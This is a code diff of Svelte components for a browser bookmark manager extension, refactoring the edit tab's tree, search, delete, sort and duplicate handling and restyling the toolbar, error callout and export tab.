onMoved: (id, info) => batcher.push({ kind: 'moved', id, ...info }),
|
||||
onChildrenReordered: () => batcher.resync(),
|
||||
onImportBegan: () => {
|
||||
importing = true;
|
||||
},
|
||||
onChanged: (id, changes) => {
|
||||
roots = changeNode(roots, id, changes);
|
||||
},
|
||||
onMoved: (id, info) => {
|
||||
roots = moveNode(roots, id, info.parentId, info.index);
|
||||
onImportEnded: () => {
|
||||
importing = false;
|
||||
batcher.resync();
|
||||
},
|
||||
});
|
||||
globalThis.addEventListener('keydown', onWindowKeydown);
|
||||
return () => {
|
||||
unsubscribe();
|
||||
batcher.dispose();
|
||||
session.dispose();
|
||||
globalThis.removeEventListener('keydown', onWindowKeydown);
|
||||
if (debounceTimer !== undefined) clearTimeout(debounceTimer);
|
||||
};
|
||||
});
|
||||
|
||||
/** Bound to the current tree, so callers pass only the node. */
|
||||
const isEditable = (node: EditNode): boolean => canEdit(roots, node);
|
||||
|
||||
async function load(): Promise<void> {
|
||||
try {
|
||||
roots = (await getRootChildren()).map(toEditNode);
|
||||
expanded = new Set(roots.map((root) => root.id));
|
||||
} catch (err) {
|
||||
// Was `err.detail` alone: a raw English Chrome string as the entire
|
||||
// screen, in every language (docs/02 §7).
|
||||
loadError = describeError(err);
|
||||
}
|
||||
}
|
||||
|
||||
function onQuery(value: string): void {
|
||||
query = value;
|
||||
if (debounceTimer !== undefined) clearTimeout(debounceTimer);
|
||||
debounceTimer = setTimeout(() => {
|
||||
debounced = value;
|
||||
}, 150);
|
||||
}
|
||||
|
||||
const search = $derived(searchTree(roots, debounced));
|
||||
const filtering = $derived(debounced.trim() !== '');
|
||||
|
||||
// Search-opened ancestors are merged INTO `expanded` rather than unioned at
|
||||
// render time. Reading from a union that toggle() cannot write to made the
|
||||
// disclosure button and ArrowLeft dead keys on every search-expanded folder.
|
||||
//
|
||||
// The merge is remembered so it can be undone: a one-character query expands
|
||||
// most of a large tree, and clearing the box used to render every one of
|
||||
// those rows at once, in a single synchronous pass, with no virtualization.
|
||||
// Search-opened folders are merged INTO `expanded`. Tracks the search only:
|
||||
// `expanded` is written inside, and tracking it made a collapsed
|
||||
// search-opened folder re-open immediately.
|
||||
$effect(() => {
|
||||
// Depend on the SEARCH only. `expanded` and `searchOpened` are read and
|
||||
// written here, so tracking them makes the effect its own dependency: every
|
||||
// write re-invalidates it, and it re-runs against a `search.expand` that has
|
||||
// not changed. Collapsing a search-opened folder then immediately re-opened
|
||||
// it — the disclosure arrow looked broken, which is the same class of defect
|
||||
// the merge-into-`expanded` design was introduced to fix.
|
||||
const wanted = search.expand;
|
||||
const active = filtering;
|
||||
untrack(() => {
|
||||
if (!active) {
|
||||
if (searchOpened.size === 0) return;
|
||||
expanded = collapseSearchExpansion(expanded, searchOpened);
|
||||
searchOpened = new Set();
|
||||
return;
|
||||
}
|
||||
const merged = mergeSearchExpansion(expanded, wanted, searchOpened);
|
||||
if (merged.expanded === expanded) return;
|
||||
expanded = merged.expanded;
|
||||
searchOpened = merged.opened;
|
||||
});
|
||||
const wanted = session.search.expand;
|
||||
const active = session.filtering;
|
||||
untrack(() => session.syncSearchExpansion(wanted, active));
|
||||
});
|
||||
|
||||
const rows = $derived(visibleRows(roots, expanded, filtering ? search.visible : undefined));
|
||||
|
||||
const partialNote = $derived(
|
||||
actionError?.partial === undefined
|
||||
? undefined
|
||||
: t('edit.keepFirstPartial', {
|
||||
done: num(actionError.partial.done),
|
||||
total: num(actionError.partial.total),
|
||||
}),
|
||||
const focusedNode = $derived(findNode(session.roots, session.focusedId ?? ''));
|
||||
/** The folder the toolbar's Sort acts on: the focused folder, else the focused row's parent. */
|
||||
const sortFolder = $derived.by(() => {
|
||||
const node = focusedNode;
|
||||
if (node === undefined) return undefined;
|
||||
return node.url === undefined ? node : findNode(session.roots, node.parentId ?? '');
|
||||
});
|
||||
// Only while the dialog is open: it walks every folder in the tree.
|
||||
const targets = $derived(
|
||||
session.movingNode === undefined ? [] : moveTargets(session.roots, session.movingNode),
|
||||
);
|
||||
const descendantCount = $derived(countDescendants(session.pendingDelete));
|
||||
const pendingTitle = $derived(displayTitle(session.pendingDelete, t('edit.untitled')));
|
||||
|
||||
// `isEditable` matters as much as the url check: without it, duplicates
|
||||
// inside a policy-managed subtree were offered for bulk deletion, and the
|
||||
// browser rejects every one of them. The single-delete path has always
|
||||
// filtered; docs/15 makes it normative that unmodifiable nodes offer no
|
||||
// destructive affordance at all.
|
||||
const duplicateGroups = $derived(
|
||||
findDuplicateGroups(
|
||||
flattenTree(roots).filter((node) => node.url !== undefined && isEditable(node)),
|
||||
),
|
||||
);
|
||||
const partialNote = $derived.by(() => {
|
||||
const partial = session.actionError?.partial;
|
||||
if (partial === undefined) return undefined;
|
||||
const key = partial.kind === 'sort' ? 'edit.sortPartial' : 'edit.keepFirstPartial';
|
||||
return t(key, { done: num(partial.done), total: num(partial.total) });
|
||||
});
|
||||
|
||||
/**
|
||||
* Run a mutation, and on failure resync from the browser — the only source of
|
||||
* truth. A snapshot restore would resurrect rows that earlier iterations of a
|
||||
* bulk operation legitimately deleted.
|
||||
*/
|
||||
async function guardEdit(run: () => Promise<void>): Promise<void> {
|
||||
actionError = undefined;
|
||||
try {
|
||||
await run();
|
||||
} catch (err) {
|
||||
actionError = describeError(err);
|
||||
await load();
|
||||
}
|
||||
function sort(folder: EditNode | undefined): void {
|
||||
if (folder === undefined || session.busy) return;
|
||||
if (!session.requestSort(folder)) pushToast(t('edit.alreadySorted'), 'info');
|
||||
}
|
||||
|
||||
function toggle(id: string): void {
|
||||
const next = new Set(expanded);
|
||||
if (next.has(id)) next.delete(id);
|
||||
else next.add(id);
|
||||
expanded = next;
|
||||
// Touching a folder makes it the user's, so clearing the search must not
|
||||
// close it again.
|
||||
searchOpened = forgetSearchExpansion(searchOpened, id);
|
||||
/** Opening a refused scheme says so, instead of looking like a broken button (docs/09 T3). */
|
||||
async function open(node: EditNode): Promise<void> {
|
||||
if (node.url === undefined || node.url === '') return;
|
||||
if (!(await openBookmarkUrl(node.url))) pushToast(t('edit.unsafeUrl'), 'danger');
|
||||
}
|
||||
|
||||
function onKeydown(event: KeyboardEvent): void {
|
||||
if (renamingId !== undefined) return;
|
||||
// Keys aimed at a row's own button (or the rename input) belong to that
|
||||
// control — stealing them cancelled the button's activation.
|
||||
if (event.target !== event.currentTarget) return;
|
||||
if (event.ctrlKey || event.metaKey || event.altKey) return;
|
||||
|
||||
const action = resolveKey(event.key, focusedId, rows);
|
||||
if (action.kind === 'none') return;
|
||||
event.preventDefault();
|
||||
|
||||
switch (action.kind) {
|
||||
case 'focus':
|
||||
focusedId = action.id;
|
||||
scrollFocusedIntoView();
|
||||
break;
|
||||
case 'expand':
|
||||
case 'collapse':
|
||||
toggle(action.id);
|
||||
break;
|
||||
case 'rename': {
|
||||
const node = findNode(roots, action.id);
|
||||
if (node !== undefined && isEditable(node)) renamingId = action.id;
|
||||
break;
|
||||
}
|
||||
case 'delete': {
|
||||
const node = findNode(roots, action.id);
|
||||
if (node !== undefined && isEditable(node)) pendingDelete = node;
|
||||
break;
|
||||
}
|
||||
case 'activate': {
|
||||
const node = findNode(roots, action.id);
|
||||
if (node?.url !== undefined) void openUrl(node.url);
|
||||
else if (node !== undefined) toggle(node.id);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Open a bookmark, saying so when the scheme is refused.
|
||||
*
|
||||
* The boolean was previously discarded with `void`, so clicking ↗ on a
|
||||
* `javascript:` bookmark did nothing at all and looked like a broken button
|
||||
* rather than a deliberate refusal (docs/09 T3).
|
||||
*/
|
||||
async function openUrl(url: string): Promise<void> {
|
||||
if (url === '') return;
|
||||
if (!(await openBookmarkUrl(url))) pushToast(t('edit.unsafeUrl'), 'danger');
|
||||
}
|
||||
|
||||
/** docs/06 §3.3's "Copy URL". Write-only, on an explicit click (docs/09 T8). */
|
||||
async function copyUrl(url: string): Promise<void> {
|
||||
if (url === '') return;
|
||||
const copied = await copyToClipboard(url);
|
||||
/** docs/06 §3.3's "Copy URL". Write-only, on an explicit action (docs/09 T8). */
|
||||
async function copy(node: EditNode): Promise<void> {
|
||||
if (node.url === undefined || node.url === '') return;
|
||||
const copied = await copyToClipboard(node.url);
|
||||
pushToast(t(copied ? 'edit.copied' : 'edit.copyFailed'), copied ? 'success' : 'danger');
|
||||
}
|
||||
|
||||
async function commitRename(id: string, title: string): Promise<void> {
|
||||
renamingId = undefined;
|
||||
const node = findNode(roots, id);
|
||||
if (node === undefined || !isEditable(node)) return;
|
||||
if (node.title === title || title.trim() === '') return;
|
||||
await guardEdit(async () => {
|
||||
// Optimistic: the onChanged event confirms it, guardEdit resyncs on failure.
|
||||
roots = changeNode(roots, id, { title });
|
||||
await update(id, { title });
|
||||
});
|
||||
function onKeydown(event: KeyboardEvent): void {
|
||||
onTreeKey(event, session, { open: (node) => void open(node), copy: (node) => void copy(node) });
|
||||
}
|
||||
|
||||
async function confirmDelete(): Promise<void> {
|
||||
const node = pendingDelete;
|
||||
pendingDelete = undefined;
|
||||
if (node === undefined || !isEditable(node)) return;
|
||||
await guardEdit(async () => {
|
||||
roots = removeNode(roots, node.id);
|
||||
if (node.url === undefined) await removeTree(node.id);
|
||||
else await remove(node.id);
|
||||
});
|
||||
}
|
||||
|
||||
async function newFolder(): Promise<void> {
|
||||
const parentId = resolveNewFolderParent(roots, findNode(roots, focusedId ?? ''));
|
||||
if (parentId === undefined) return;
|
||||
|
||||
await guardEdit(async () => {
|
||||
const created = await create({ parentId, title: t('edit.newFolderTitle') });
|
||||
// The row must be rendered before the inline rename input can mount —
|
||||
// otherwise renamingId locks every tree key with nothing to type into.
|
||||
expanded = new Set([...expanded, parentId]);
|
||||
focusedId = created.id;
|
||||
renamingId = created.id;
|
||||
});
|
||||
}
|
||||
|
||||
async function keepFirstInEachGroup(): Promise<void> {
|
||||
pendingKeepFirst = false;
|
||||
// Snapshot the ids first: duplicateGroups is $derived from `roots`, so
|
||||
// reading it inside the loop would recompute mid-iteration.
|
||||
const doomed = extraCopyIds(duplicateGroups);
|
||||
actionError = undefined;
|
||||
|
||||
const outcome = await deleteEach(doomed, remove, (id) => {
|
||||
roots = removeNode(roots, id);
|
||||
});
|
||||
if (outcome.error === undefined) return;
|
||||
|
||||
// The dialog promised an exact number. Saying only "the browser refused"
|
||||
// after deleting some of them leaves the user unable to tell how many
|
||||
// copies are left, on an action that cannot be undone.
|
||||
actionError = {
|
||||
...describeError(outcome.error),
|
||||
partial: { done: outcome.deleted, total: outcome.total },
|
||||
};
|
||||
await load();
|
||||
}
|
||||
|
||||
/** Shared by the drag path and the keyboard "Move to…" path. */
|
||||
async function moveInto(id: string, parentId: string): Promise<void> {
|
||||
const node = findNode(roots, id);
|
||||
if (node === undefined || !isEditable(node)) return;
|
||||
if (!canMoveInto(roots, id, parentId)) return;
|
||||
await guardEdit(async () => {
|
||||
roots = moveNode(roots, id, parentId, undefined);
|
||||
await move(id, { parentId });
|
||||
});
|
||||
}
|
||||
|
||||
function onDrop(targetId: string): void {
|
||||
const id = draggingId;
|
||||
draggingId = undefined;
|
||||
if (id !== undefined) void moveInto(id, targetId);
|
||||
}
|
||||
|
||||
const targets = $derived(moveTargets(roots, movingNode));
|
||||
|
||||
/** Keep the focused row on screen — the tree is a fixed-height scroller. */
|
||||
function scrollFocusedIntoView(): void {
|
||||
if (treeEl === undefined || focusedId === undefined) return;
|
||||
queueMicrotask(() => {
|
||||
treeEl
|
||||
?.querySelector(`[data-node-id="${CSS.escape(focusedId ?? '')}"]`)
|
||||
?.scrollIntoView({ block: 'nearest' });
|
||||
});
|
||||
}
|
||||
|
||||
/** ⌘/Ctrl-F focuses the search box — docs/06 §3.3. */
|
||||
/** ⌘/Ctrl-F focuses the search box, whatever the case of the F (docs/06 §3.3). */
|
||||
function onWindowKeydown(event: KeyboardEvent): void {
|
||||
if (event.key !== 'f' || !(event.ctrlKey || event.metaKey)) return;
|
||||
if (event.key.toLowerCase() !== 'f' || !(event.ctrlKey || event.metaKey)) return;
|
||||
event.preventDefault();
|
||||
searchInput?.focus();
|
||||
searchInput?.select();
|
||||
}
|
||||
|
||||
const descendantCount = $derived(countDescendants(pendingDelete));
|
||||
/**
|
||||
* Focus goes back where the delete was asked for (uM4). The dialog cannot
|
||||
* hand it back to the button that opened it — that button went with what it
|
||||
* deleted — so a panel delete lands on the next copy's button, else on the
|
||||
* panel's close button.
|
||||
*/
|
||||
async function confirmDelete(): Promise<void> {
|
||||
const origin = await session.confirmDelete();
|
||||
await tick();
|
||||
if (origin === 'tree') treeEl?.focus();
|
||||
else if (origin === 'panel') {
|
||||
focusIfLost(
|
||||
panelEl?.querySelector<HTMLElement>('[data-copy-delete]') ??
|
||||
panelEl?.querySelector<HTMLElement>('[data-panel-close]'),
|
||||
);
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
{#if loadError !== undefined}
|
||||
<ErrorCallout messageKey={loadError.messageKey} detail={loadError.detail} />
|
||||
{#if session.loadError !== undefined}
|
||||
<ErrorCallout messageKey={session.loadError.messageKey} detail={session.loadError.detail} />
|
||||
{:else}
|
||||
<EditToolbar
|
||||
bind:input={searchInput}
|
||||
{query}
|
||||
onquery={onQuery}
|
||||
onnewFolder={() => void newFolder()}
|
||||
ontoggleDuplicates={() => (showDuplicates = !showDuplicates)}
|
||||
onexpandAll={() => (expanded = new Set(flattenTree(roots).map((node) => node.id)))}
|
||||
oncollapseAll={() => (expanded = new Set())}
|
||||
query={session.query}
|
||||
busy={session.busy}
|
||||
duplicatesOpen={session.showDuplicates}
|
||||
canSort={sortFolder !== undefined && session.canSort(sortFolder)}
|
||||
onquery={session.setQuery}
|
||||
onnewFolder={() => void session.newFolder(t('edit.newFolderTitle'))}
|
||||
onsort={() => sort(sortFolder)}
|
||||
ontoggleDuplicates={() => (session.showDuplicates = !session.showDuplicates)}
|
||||
onexpandAll={session.expandAll}
|
||||
oncollapseAll={session.collapseAll}
|
||||
/>
|
||||
|
||||
{#if actionError !== undefined}
|
||||
{#if session.actionError !== undefined}
|
||||
<ErrorCallout
|
||||
messageKey={actionError.messageKey}
|
||||
detail={actionError.detail}
|
||||
messageKey={session.actionError.messageKey}
|
||||
detail={session.actionError.detail}
|
||||
note={partialNote}
|
||||
/>
|
||||
{/if}
|
||||
|
||||
<div class="split" class:with-panel={showDuplicates}>
|
||||
<div class="split" class:with-panel={session.showDuplicates}>
|
||||
<TreeList
|
||||
bind:element={treeEl}
|
||||
{rows}
|
||||
{focusedId}
|
||||
{renamingId}
|
||||
{filtering}
|
||||
{draggingId}
|
||||
matched={search.matched}
|
||||
editable={isEditable}
|
||||
canDropInto={(id) => draggingId !== undefined && canMoveInto(roots, draggingId, id)}
|
||||
{session}
|
||||
onkeydown={onKeydown}
|
||||
ontoggle={toggle}
|
||||
onfocusRow={(id) => (focusedId = id)}
|
||||
onstartRename={(id) => (renamingId = id)}
|
||||
onrename={(id, title) => void commitRename(id, title)}
|
||||
oncancelRename={() => (renamingId = undefined)}
|
||||
ondelete={(node) => (pendingDelete = node)}
|
||||
onopen={(node) => void openUrl(node.url ?? "")}
|
||||
oncopyUrl={(node) => void copyUrl(node.url ?? "")}
|
||||
onmoveTo={(node) => (movingNode = node)}
|
||||
ondragstart={(id) => (draggingId = id)}
|
||||
ondropinto={(id) => onDrop(id)}
|
||||
onopen={(node) => void open(node)}
|
||||
oncopy={(node) => void copy(node)}
|
||||
onsort={sort}
|
||||
/>
|
||||
|
||||
{#if showDuplicates}
|
||||
{#if session.showDuplicates}
|
||||
<DuplicatePanel
|
||||
groups={duplicateGroups}
|
||||
onclose={() => (showDuplicates = false)}
|
||||
ondelete={(node) => (pendingDelete = node)}
|
||||
onkeepFirst={() => (pendingKeepFirst = true)}
|
||||
bind:element={panelEl}
|
||||
groups={session.duplicateGroups}
|
||||
roots={session.roots}
|
||||
busy={session.busy}
|
||||
onclose={() => (session.showDuplicates = false)}
|
||||
ondelete={(node) => session.requestDelete(node, 'panel')}
|
||||
onkeepFirst={() => (session.pendingKeepFirst = true)}
|
||||
/>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
{#if movingNode !== undefined}
|
||||
<MoveToDialog
|
||||
node={movingNode}
|
||||
{targets}
|
||||
onpick={(parentId) => {
|
||||
const id = movingNode?.id;
|
||||
movingNode = undefined;
|
||||
if (id !== undefined) void moveInto(id, parentId);
|
||||
}}
|
||||
oncancel={() => (movingNode = undefined)}
|
||||
/>
|
||||
{/if}
|
||||
|
||||
<ConfirmDialog
|
||||
open={pendingDelete !== undefined}
|
||||
danger
|
||||
title={t('edit.deleteTitle')}
|
||||
body={descendantCount > 0
|
||||
? t('edit.deleteFolderBody', { title: pendingDelete?.title ?? '', n: num(descendantCount) })
|
||||
: t('edit.deleteBody', { title: pendingDelete?.title ?? '' })}
|
||||
confirmLabel={t('edit.delete')}
|
||||
cancelLabel={t('common.cancel')}
|
||||
onconfirm={() => void confirmDelete()}
|
||||
oncancel={() => (pendingDelete = undefined)}
|
||||
<MoveToDialog
|
||||
node={session.movingNode}
|
||||
{targets}
|
||||
onpick={(parentId) => {
|
||||
const id = session.movingNode?.id;
|
||||
session.movingNode = undefined;
|
||||
if (id !== undefined) void session.moveTo(id, { parentId });
|
||||
}}
|
||||
oncancel={() => (session.movingNode = undefined)}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={pendingKeepFirst}
|
||||
open={session.pendingDelete !== undefined}
|
||||
danger
|
||||
title={t('edit.keepFirstTitle')}
|
||||
body={t('edit.keepFirstBody', {
|
||||
n: num(duplicateGroups.reduce((n, g) => n + g.nodes.length - 1, 0)),
|
||||
})}
|
||||
title={t('edit.deleteTitle')}
|
||||
body={descendantCount > 0
|
||||
? tPlural('edit.deleteFolderBody', descendantCount, { title: pendingTitle })
|
||||
: t('edit.deleteBody', { title: pendingTitle })}
|
||||
confirmLabel={t('edit.delete')}
|
||||
cancelLabel={t('common.cancel')}
|
||||
onconfirm={() => void keepFirstInEachGroup()}
|
||||
oncancel={() => (pendingKeepFirst = false)}
|
||||
onconfirm={() => void confirmDelete()}
|
||||
oncancel={() => (session.pendingDelete = undefined)}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={session.pendingKeepFirst}
|
||||
danger
|
||||
title={t('edit.keepFirstTitle')}
|
||||
body={tPlural(
|
||||
'edit.keepFirstBody',
|
||||
session.duplicateGroups.reduce((n, g) => n + g.nodes.length - 1, 0),
|
||||
)}
|
||||
confirmLabel={t('edit.delete')}
|
||||
cancelLabel={t('common.cancel')}
|
||||
onconfirm={() => void session.keepFirst()}
|
||||
oncancel={() => (session.pendingKeepFirst = false)}
|
||||
/>
|
||||
|
||||
<ConfirmDialog
|
||||
open={session.pendingSort !== undefined}
|
||||
title={t('edit.sortTitle', { title: displayTitle(session.pendingSort?.folder, t('edit.untitled')) })}
|
||||
body={tPlural('edit.sortBody', session.pendingSort?.moves.length ?? 0)}
|
||||
confirmLabel={t('edit.sort')}
|
||||
cancelLabel={t('common.cancel')}
|
||||
onconfirm={() => void session.confirmSort()}
|
||||
oncancel={() => (session.pendingSort = undefined)}
|
||||
/>
|
||||
|
||||
<style>
|
||||
@@ -462,15 +251,12 @@
|
||||
}
|
||||
|
||||
.with-panel {
|
||||
grid-template-columns: 1fr 340px;
|
||||
grid-template-columns: 1fr var(--width-side);
|
||||
}
|
||||
|
||||
@media (max-width: 780px) {
|
||||
@media (max-width: 820px) {
|
||||
.with-panel {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
</style>
|
||||
@@ -1,13 +1,20 @@
|
||||
<script lang="ts">
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
query: string;
|
||||
/** Bound out so ⌘/Ctrl-F can focus it from the tab's window handler. */
|
||||
input?: HTMLInputElement | undefined;
|
||||
/** A bulk command is running. */
|
||||
busy: boolean;
|
||||
duplicatesOpen: boolean;
|
||||
/** False when the focused row's folder has nothing to sort. */
|
||||
canSort: boolean;
|
||||
onquery: (value: string) => void;
|
||||
onnewFolder: () => void;
|
||||
onsort: () => void;
|
||||
ontoggleDuplicates: () => void;
|
||||
onexpandAll: () => void;
|
||||
oncollapseAll: () => void;
|
||||
@@ -16,46 +23,97 @@
|
||||
let {
|
||||
query,
|
||||
input = $bindable(),
|
||||
busy,
|
||||
duplicatesOpen,
|
||||
canSort,
|
||||
onquery,
|
||||
onnewFolder,
|
||||
onsort,
|
||||
ontoggleDuplicates,
|
||||
onexpandAll,
|
||||
oncollapseAll,
|
||||
}: Props = $props();
|
||||
</script>
|
||||
|
||||
<div class="toolbar">
|
||||
<input
|
||||
bind:this={input}
|
||||
type="search"
|
||||
placeholder={t('edit.search')}
|
||||
aria-label={t('edit.search')}
|
||||
value={query}
|
||||
oninput={(event) => onquery(event.currentTarget.value)}
|
||||
/>
|
||||
<Button onclick={onnewFolder}>{t('edit.newFolder')}</Button>
|
||||
<Button onclick={ontoggleDuplicates}>{t('edit.findDuplicates')}</Button>
|
||||
<Button onclick={onexpandAll}>{t('edit.expandAll')}</Button>
|
||||
<Button onclick={oncollapseAll}>{t('edit.collapseAll')}</Button>
|
||||
<div class="toolbar" role="toolbar" aria-label={t('common.edit')}>
|
||||
<label class="search">
|
||||
<Icon name="search" size={14} />
|
||||
<input
|
||||
bind:this={input}
|
||||
type="search"
|
||||
placeholder={t('edit.search')}
|
||||
aria-label={t('edit.search')}
|
||||
value={query}
|
||||
oninput={(event) => onquery(event.currentTarget.value)}
|
||||
/>
|
||||
<kbd aria-hidden="true">Ctrl F</kbd>
|
||||
</label>
|
||||
<div class="group">
|
||||
<Button icon="folder-plus" disabled={busy} onclick={onnewFolder}>{t('edit.newFolder')}</Button>
|
||||
<Button icon="sort" iconMotion="bob" disabled={busy || !canSort} onclick={onsort}>{t('edit.sort')}</Button>
|
||||
<Button icon="layers" aria-pressed={duplicatesOpen} onclick={ontoggleDuplicates}>
|
||||
{t('edit.findDuplicates')}
|
||||
</Button>
|
||||
</div>
|
||||
<div class="group">
|
||||
<Button variant="ghost" icon="expand" label={t('edit.expandAll')} onclick={onexpandAll} />
|
||||
<Button variant="ghost" icon="collapse" label={t('edit.collapseAll')} onclick={oncollapseAll} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
/* Copied verbatim from EditTab — this is a move, not a redesign. */
|
||||
.toolbar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
margin-bottom: var(--sp-3);
|
||||
}
|
||||
|
||||
.toolbar input {
|
||||
font: inherit;
|
||||
.search {
|
||||
flex: 1;
|
||||
min-width: 12ch;
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border);
|
||||
min-width: min(18ch, 100%);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding: 0 var(--sp-2);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
background: var(--bg-sunken);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.search:focus-within {
|
||||
outline: 2px solid var(--accent);
|
||||
outline-offset: 1px;
|
||||
}
|
||||
|
||||
.search input {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
font: inherit;
|
||||
font-size: var(--fs-1);
|
||||
padding: 7px 0;
|
||||
border: none;
|
||||
outline: none;
|
||||
background: transparent;
|
||||
color: var(--fg);
|
||||
}
|
||||
|
||||
kbd {
|
||||
font-size: var(--fs-0);
|
||||
padding: 0 5px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
/* Wraps too: at 375 px the unwrapped group pushed the page 17–61 px wide,
|
||||
depending on the language (v1.1.0 review). */
|
||||
.group {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--sp-1);
|
||||
min-width: 0;
|
||||
}
|
||||
</style>
|
||||
@@ -38,7 +38,11 @@
|
||||
<p class="note">{note}</p>
|
||||
{/if}
|
||||
{#if detail !== undefined}
|
||||
<pre>{detail}</pre>
|
||||
<!-- The technical detail, for a bug report: one click selects all of it. -->
|
||||
<div class="detail">
|
||||
<span class="eyebrow">{t('common.detail')}</span>
|
||||
<pre>{detail}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
@@ -53,14 +57,22 @@
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.detail {
|
||||
margin-top: var(--sp-2);
|
||||
}
|
||||
|
||||
pre {
|
||||
margin: var(--sp-2) 0 0;
|
||||
margin: var(--sp-1) 0 0;
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
background: var(--bg-raised);
|
||||
border: 1px solid var(--border);
|
||||
color: var(--fg);
|
||||
background: var(--bg-sunken);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: var(--sp-2);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
overflow: auto;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-word;
|
||||
user-select: all;
|
||||
}
|
||||
</style>
|
||||
@@ -3,10 +3,10 @@
|
||||
import { getRootChildren, type LiveNode } from '../browser/bookmarks';
|
||||
import { type DescribedError, describeError } from '../browser/describe-error';
|
||||
import type { ExportFormat } from '../browser/storage';
|
||||
import type { CsvDelimiter } from '../core/serialize/csv';
|
||||
import type { CsvDelimiter } from '../core/csv-dialect';
|
||||
import type { MarkdownStyle } from '../core/serialize/markdown';
|
||||
import { countSelected, FORMAT_META, runExport } from '../export/run-export';
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import { t, tPlural } from '../i18n/index.svelte';
|
||||
import {
|
||||
CSV_DELIMITER_CHOICES,
|
||||
MARKDOWN_STYLE_CHOICES,
|
||||
@@ -26,6 +26,9 @@
|
||||
let loadError = $state<DescribedError | undefined>();
|
||||
let csvDelimiter = $state<CsvDelimiter>(',');
|
||||
let markdownStyle = $state<MarkdownStyle>('nested');
|
||||
let loading = $state(true);
|
||||
/** An export failure keeps its technical detail, like every other tab (uM7). */
|
||||
let exportError = $state<DescribedError | undefined>();
|
||||
|
||||
onMount(() => {
|
||||
void load();
|
||||
@@ -43,6 +46,8 @@
|
||||
// Was `err.detail` alone — a raw English Chrome string as the entire
|
||||
// screen, in all three languages (docs/02 §7).
|
||||
loadError = describeError(err);
|
||||
} finally {
|
||||
loading = false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -54,6 +59,7 @@
|
||||
const bookmarkCount = $derived(countSelected(roots, selection));
|
||||
|
||||
function download(): void {
|
||||
exportError = undefined;
|
||||
void (async () => {
|
||||
try {
|
||||
const result = await runExport({
|
||||
@@ -63,13 +69,11 @@
|
||||
markdownStyle,
|
||||
now: new Date(),
|
||||
});
|
||||
pushToast(t('export.saved', { name: result.filename }), 'success');
|
||||
// "Started", not "saved": the anchor download gives no signal at all,
|
||||
// and the browser may still ask where to put it (uM8).
|
||||
pushToast(t('export.started', { name: result.filename }), 'success');
|
||||
} catch (err) {
|
||||
// Tone matters: this used to share a variable with the success message
|
||||
// and rendered failures in success-green. The message is the localized
|
||||
// sentence — a toast has no room for a detail block, which is the same
|
||||
// reasoning the header's save-failure toast records.
|
||||
pushToast(t(describeError(err).messageKey), 'danger');
|
||||
exportError = describeError(err);
|
||||
}
|
||||
})();
|
||||
}
|
||||
@@ -79,11 +83,17 @@
|
||||
<ErrorCallout messageKey={loadError.messageKey} detail={loadError.detail} />
|
||||
{:else}
|
||||
<div class="split">
|
||||
<section aria-label={t('export.scope')}>
|
||||
<FolderPickTree {roots} {selection} onchange={(next) => (selection = next)} />
|
||||
<section class="panel">
|
||||
<h2 class="eyebrow">01 · {t('export.scope')}</h2>
|
||||
{#if loading}
|
||||
<p class="muted">{t('edit.loading')}</p>
|
||||
{:else}
|
||||
<FolderPickTree {roots} {selection} onchange={(next) => (selection = next)} />
|
||||
{/if}
|
||||
</section>
|
||||
|
||||
<section class="side">
|
||||
<section class="panel side">
|
||||
<h2 class="eyebrow">02 · {t('export.format')}</h2>
|
||||
<FormatSelect {format} onchange={(next) => (format = next)} />
|
||||
|
||||
{#if !FORMAT_META[format].importable}
|
||||
@@ -124,12 +134,18 @@
|
||||
</label>
|
||||
{/if}
|
||||
|
||||
{#if exportError !== undefined}
|
||||
<ErrorCallout messageKey={exportError.messageKey} detail={exportError.detail} />
|
||||
{/if}
|
||||
|
||||
<Button
|
||||
variant="primary"
|
||||
icon="download"
|
||||
iconMotion="bob"
|
||||
disabled={bookmarkCount === 0}
|
||||
onclick={download}
|
||||
>
|
||||
{t('export.start', { n: num(bookmarkCount) })}
|
||||
{tPlural('export.start', bookmarkCount)}
|
||||
</Button>
|
||||
|
||||
</section>
|
||||
@@ -139,21 +155,32 @@
|
||||
<style>
|
||||
.split {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 360px;
|
||||
grid-template-columns: minmax(0, 1fr) var(--width-side);
|
||||
gap: var(--sp-5);
|
||||
align-items: start;
|
||||
}
|
||||
|
||||
@media (max-width: 780px) {
|
||||
@media (max-width: 820px) {
|
||||
.split {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
.side {
|
||||
.panel {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
h2 {
